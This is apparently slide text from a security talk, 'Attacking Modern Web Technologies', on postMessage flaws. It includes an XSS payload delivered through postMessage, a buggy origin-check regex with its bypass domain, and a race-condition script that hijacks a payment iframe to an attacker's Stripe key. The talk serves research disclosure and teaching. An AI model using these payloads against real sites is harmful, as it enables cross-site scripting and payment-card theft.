- 98. setInterval(function() { if(b) b.postMessage('{"sitelist":"www.example.com/ global","siteurl":"www.example.com/uk","curr":"curr=&osl='-(function() {document.body.appendChild(iframe=document.createElement('iframe'));window .alert=iframe.contentWindow['alert'];document.body.removeChild(iframe);win dow.alert(document.domain)})()-'"}','*') }, 10); Author name her Loaded JS Attacking Modern Web Technologies Frans Rosén @fransrosen link.com.example.com Loading…
- 99. setInterval(function() { if(b) b.postMessage('{"sitelist":"www.example.com/ global","siteurl":"www.example.com/uk","curr":"curr=&osl='-(function() {document.body.appendChild(iframe=document.createElement('iframe'));window .alert=iframe.contentWindow['alert'];document.body.removeChild(iframe);win dow.alert(document.domain)})()-'"}','*') }, 10); Author name her Loaded JS Attacking Modern Web Technologies Frans Rosén @fransrosen link.com.example.com Loads mpel.js... Loading…
- 100. setInterval(function() { if(b) b.postMessage('{"sitelist":"www.example.com/ global","siteurl":"www.example.com/uk","curr":"curr=&osl='-(function() {document.body.appendChild(iframe=document.createElement('iframe'));window .alert=iframe.contentWindow['alert'];document.body.removeChild(iframe);win dow.alert(document.domain)})()-'"}','*') }, 10); Author name her Loaded JS Attacking Modern Web Technologies Frans Rosén @fransrosen link.com.example.com Välkommen! Willkommen! Welcome! localeservice.com Loads mpel.js...
- 101. setInterval(function() { if(b) b.postMessage('{"sitelist":"www.example.com/ global","siteurl":"www.example.com/uk","curr":"curr=&osl='-(function() {document.body.appendChild(iframe=document.createElement('iframe'));window .alert=iframe.contentWindow['alert'];document.body.removeChild(iframe);win dow.alert(document.domain)})()-'"}','*') }, 10); Author name her We won! Attacking Modern Web Technologies Frans Rosén @fransrosen link.com.example.com Välkommen! Willkommen! Welcome! localeservice.com Loads mpel.js...
- 102. Author name her Client-Side Race Condition Attacking Modern Web Technologies Frans Rosén @fransrosen postMessage between JS-load and iframe-load Worked in all browsers.
- 103. Author name her Client-Side Race Condition #2 Attacking Modern Web Technologies Frans Rosén @fransrosen Multiple bugs incoming, hang on!
- 104. Author name her Can you find the bug(s)? Attacking Modern Web Technologies Frans Rosén @fransrosen SecureCreditCardController.prototype.isValidOrigin = function (origin) { if (origin === null || origin === undefined) { return false; } var domains = [".example.com", ".example.to", ".example.at", ".example.ca", ".example.ch", ".example.be", ".example.de", ".example.es", ".example.fr", ".example.ie", ".example.it", ".example.nl", ".example.se", ".example.dk", ".example.no", ".example.fi", ".example.cz", ".example.pt", ".example.pl", ".example.cl", ".example.my", ".example.co.jp", ".example.co.nz", ".example.co.uk", ".example.com.au", ".example.com.br", ".example.com.ph", ".example.com.mx", ".example.com.sg", ".example.com.ar", ".example.com.tr", ".example.com.hk", ".example.com.tw"]; var escapedDomains = $.map(domains, function (domain) { return domain.replace('.', '.'); }); var exampleDomainsRE = '^https://.*(' + escapedDomains.join('|') + ')$'; return Boolean(origin.match(exampleDomainsRE)); };
- 105. Author name her 1st bug! Attacking Modern Web Technologies Frans Rosén @fransrosen SecureCreditCardController.prototype.isValidOrigin = function (origin) { if (origin === null || origin === undefined) { return false; } var domains = [".example.com", ".example.to", ".example.at", ".example.ca", ".example.ch", ".example.be", ".example.de", ".example.es", ".example.fr", ".example.ie", ".example.it", ".example.nl", ".example.se", ".example.dk", ".example.no", ".example.fi", ".example.cz", ".example.pt", ".example.pl", ".example.cl", ".example.my", ".example.co.jp", ".example.co.nz", ".example.co.uk", ".example.com.au", ".example.com.br", ".example.com.ph", ".example.com.mx", ".example.com.sg", ".example.com.ar", ".example.com.tr", ".example.com.hk", ".example.com.tw"]; var escapedDomains = $.map(domains, function (domain) { return domain.replace('.', '.'); }); var exampleDomainsRE = '^https://.*(' + escapedDomains.join('|') + ')$'; return Boolean(origin.match(exampleDomainsRE)); };
- 106. Author name her 1st bug! Attacking Modern Web Technologies Frans Rosén @fransrosen ".example.co.nz".replace('.', '.') ".example.co.nz"
- 107. Author name her Can you find the next bug? Attacking Modern Web Technologies Frans Rosén @fransrosen SecureCreditCardController.prototype.isValidOrigin = function (origin) { if (origin === null || origin === undefined) { return false; } var domains = [".example.com", ".example.to", ".example.at", ".example.ca", ".example.ch", ".example.be", ".example.de", ".example.es", ".example.fr", ".example.ie", ".example.it", ".example.nl", ".example.se", ".example.dk", ".example.no", ".example.fi", ".example.cz", ".example.pt", ".example.pl", ".example.cl", ".example.my", ".example.co.jp", ".example.co.nz", ".example.co.uk", ".example.com.au", ".example.com.br", ".example.com.ph", ".example.com.mx", ".example.com.sg", ".example.com.ar", ".example.com.tr", ".example.com.hk", ".example.com.tw"]; var escapedDomains = $.map(domains, function (domain) { return domain.replace('.', '.'); }); var exampleDomainsRE = '^https://.*(' + escapedDomains.join('|') + ')$'; return Boolean(origin.match(exampleDomainsRE)); };
- 109. Author name her .nz is allowed since 2015! Attacking Modern Web Technologies Frans Rosén @fransrosen https://en.wikipedia.org/wiki/.nz
- 110. Author name her 2nd bug! Attacking Modern Web Technologies Frans Rosén @fransrosen Boolean("https://www.exampleaco.nz".match('^https:/ /.*(.example.co.nz)$')) true
- 111. Author name her 2nd bug! Attacking Modern Web Technologies Frans Rosén @fransrosen Boolean("https://www.exampleaco.nz".match('^https:/ /.*(.example.co.nz)$')) true
- 112. Author name her Vulnerable scenario Attacking Modern Web Technologies Frans Rosén @fransrosen ilikefood.com Subscribe!
- 113. Author name her Opens PCI-certified domain for payment Attacking Modern Web Technologies Frans Rosén @fransrosen ilikefood.com Subscribe! foodpayments.com
- 114. Author name her Iframe loaded, main frame sends INIT to iframe Attacking Modern Web Technologies Frans Rosén @fransrosen ilikefood.com Subscribe! iframe.postMessage('INIT', '*') foodpayments.com
- 115. Author name her Iframe registers the sender of INIT as msgTarget Attacking Modern Web Technologies Frans Rosén @fransrosen ilikefood.com Subscribe! iframe.postMessage('INIT', '*') if(e.data==INIT && originOK) { msgTarget = event.source msgTarget.postMessage('INIT','*') } foodpayments.com
- 116. Author name her Iframe tells main all is OK Attacking Modern Web Technologies Frans Rosén @fransrosen ilikefood.com Subscribe! foodpayments.com if(e.data==INIT and e.source==iframe) { all_ok_dont_kill_frame() } msgTarget.postMessage('INIT','*')
- 117. Author name her Main window sends over provider data Attacking Modern Web Technologies Frans Rosén @fransrosen ilikefood.com Subscribe! if(INIT) { iframe.postMessage('["LOAD", "stripe","pk_abc123"]}’, '*') } foodpayments.com
- 118. Author name her Iframe loads payment provider and kills channel Attacking Modern Web Technologies Frans Rosén @fransrosen ilikefood.com Subscribe! if(INIT) { if(e.data[0]==LOAD && originOK) { initpayment(e.data[1], e.data[2]) window.removeEventListener ('message', listener) } } foodpayments.com if(INIT) { iframe.postMessage('["LOAD", "stripe","pk_abc123"]}’, '*') }
- 119. Author name her Did you see it? Attacking Modern Web Technologies Frans Rosén @fransrosen
- 120. Author name her Open ilikefood.com from attacker Attacking Modern Web Technologies Frans Rosén @fransrosen exampleaco.nz ilikefood.com Subscribe!
- 121. Author name her Victim clicks subscribe, iframe is loaded Attacking Modern Web Technologies Frans Rosén @fransrosen ilikefood.com Subscribe! foodpayments.com exampleaco.nz
- 122. Author name her Attacker sprays out LOAD to iframe Attacking Modern Web Technologies Frans Rosén @fransrosen ilikefood.com Subscribe! foodpayments.com setInterval(function(){ child.frames[0].postMessage('["LOAD","stripe","pk_diffkey"]}’,'*') }, 100) exampleaco.nz
- 123. Author name her INIT-dance resolves, but attacker wins with LOAD Attacking Modern Web Technologies Frans Rosén @fransrosen ilikefood.com Subscribe! foodpayments.com setInterval(function(){ child.frames[0].postMessage('["LOAD","stripe","pk_diffkey"]}’,'*') }, 100) 'INIT'<->'INIT' exampleaco.nz
- 124. Author name her LOAD kills listener, we won the race! Stripe loads… Attacking Modern Web Technologies Frans Rosén @fransrosen ilikefood.com Subscribe! foodpayments.com exampleaco.nz Frame loads api.stripe.com?key=pk_diffkey…
- 125. Author name her It’s now the attacker’s Stripe account Attacking Modern Web Technologies Frans Rosén @fransrosen ilikefood.com Subscribe! foodpayments.com Enter credit card Pay! exampleaco.nz
- 126. Author name her Payment will fail for site… Attacking Modern Web Technologies Frans Rosén @fransrosen foodpayments.com Payment failed :(
- 127. Author name her Payment will fail for site…but worked for Stripe! Attacking Modern Web Technologies Frans Rosén @fransrosen foodpayments.com Payment failed :(
- 128. Author name her From Stripe-logs we can charge the card anything! Attacking Modern Web Technologies Frans Rosén @fransrosen
- 129. Author name her From Stripe-logs we can charge the card anything! Attacking Modern Web Technologies Frans Rosén @fransrosen
- 130. Author name her Client-Side Race Condition #2 Attacking Modern Web Technologies Frans Rosén @fransrosen postMessage from opener between two other postMessage-calls Chrome seems to be the only one allowing this to happen afaik.
- 132. Author name her postMessage-tracker Speedbumps Attacking Modern Web Technologies Frans Rosén @fransrosen
- 133. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen • Problem 1: Function-wrapping, Raven.js, rollbar, bugsnag, NewRelic Before: postMessage-tracker Speedbumps
- 134. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen • Problem 1: Function-wrapping, Raven.js, rollbar, bugsnag, NewRelic Before: After: Solution: Find wrapper and jump over it. console better due to this! postMessage-tracker Speedbumps
- 135. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen • Problem 2: jQuery-wrapping, such a mess (diff btw version) Before: postMessage-tracker Speedbumps
- 136. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen • Problem 2: jQuery-wrapping, such a mess (diff btw version) Before: After: Solution: Use either ._data, .expando or .events from jQuery object! postMessage-tracker Speedbumps
- 137. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen • Problem 3: Anonymous functions. Could not identify them at all. Before: postMessage-tracker Speedbumps
- 138. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen • Problem 3: Anonymous functions. Could not identify them at all. Before: After: Solution: Can’t extract using Function.toString() in Chrome :( Will however at least show them as tracked now postMessage-tracker Speedbumps
- 139. Author name her postMessage-tracker released? Attacking Modern Web Technologies Frans Rosén @fransrosen No :( I suck. "Soon"?
- 140. Author name her postMessage-tracker released? Attacking Modern Web Technologies Frans Rosén @fransrosen No :( I suck. "Soon"? Want to complete more features!
- 141. Author name her postMessage-tracker released? Attacking Modern Web Technologies Frans Rosén @fransrosen No :( I suck. "Soon"? Want to complete more features! • Trigger debugger to breakpoint messages (since we own the order) • Try to see if .origin is being used and how • If regex, run through Rex!